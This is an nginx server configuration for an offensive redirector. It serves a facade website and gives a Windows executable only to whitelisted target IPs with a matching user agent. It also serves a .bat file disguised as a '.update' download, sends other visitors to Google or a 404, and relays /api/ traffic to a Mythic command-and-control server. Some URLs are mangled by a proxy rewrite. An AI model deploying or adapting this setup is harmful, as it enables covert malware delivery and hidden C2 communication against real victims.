user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
}
http {
# Basic settings
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off; # Hide nginx version for OPSEC
include /etc/nginx/mime.types;
default_type application/octet-stream;
# SSL settings
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';
# Logging settings
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
# Define a map to track requests to the payload
map $uri $payload_accessed {
default 0;
~/file\.exe$ 1;
}
# Define and initialize limit counters for payload access
limit_req_zone $binary_remote_addr zone=payload_limit:1m rate=1r/s;
# GeoIP module setup for additional OPSEC
# geoip_country /usr/share/GeoIP/GeoIP.dat;
# map $geoip_country_code $allowed_country {
# default no;
# US yes; # Add target country codes as needed
# }
# IP addresses that are allowed to access payloads
geo $remote_addr $allowed_ip {
default no;
192.168.1.100 yes; # Example target IP - replace with actual target IP
10.10.10.0/24 yes; # Example target range - replace with actual target
range
}
# Define additional variables
map $http_user_agent $is_valid_agent {
default 0;
"~Mozilla/5.0 \(Windows NT 10\.0; Win64; x64\)" 1; # Example - customize
as needed
}
server {
listen 80;
listen [::]:80;
server_name _;
# Redirect HTTP to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name example.com; # Replace with your domain
ssl_certificate /etc/nginx/ssl/cert.pem;
ssl_certificate_key /etc/nginx/ssl/key.pem;
# Facade website for OPSEC - serve legitimate content by default
root /var/www/html;
index index.html;
# Access control logic
set $serve_payload 0;
# Check if IP is allowed and user-agent is valid
if ($allowed_ip = yes) {
set $serve_payload "${serve_payload}1";
}
if ($is_valid_agent = 1) {
set $serve_payload "${serve_payload}1";
}
# Counter for payload access attempts
limit_req zone=payload_limit burst=5 nodelay;
# Block if payload is directly requested too many times (handled by
limit_req)
error_page 503 @block_ip;
location @block_ip {
# Return a generic error page instead of obvious block
return 403 "Access denied.";
}
# Handle direct requests to the payload file
location ~ /file\.exe$ {
# If not an authorized IP or valid user-agent, redirect
if ($serve_payload != "11") {
# Redirect to a random location if payload is directly requested
rewrite ^ https://www.google.com permanent;
}
# Rate limiting for payload access
limit_req zone=payload_limit burst=5 nodelay;
# If all checks pass, serve the payload
alias /var/www/payloads/real_payload.exe;
}
# Extension spoofing - user requests .update but gets .bat
location ~ /file\.update$ {
# Only serve to allowed IPs with valid user-agent
if ($serve_payload != "11") {
return 404;
}
# Set content type and filename for the response
add_header Content-Type "application/octet-stream";
add_header Content-Disposition "attachment; filename=file.update";
# Actually serve the .bat file
alias /var/www/payloads/payload.bat;
}
# C2 traffic redirection - example for Mythic
location /api/ {
# Only proceed if from allowed IP
if ($allowed_ip != yes) {
return 404;
}
# Proxy to C2 server
proxy_pass https://your-c2-server-ip:7443/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Handle all other requests - serve facade website
location / {
try_files $uri $uri/ =404;
}
}
}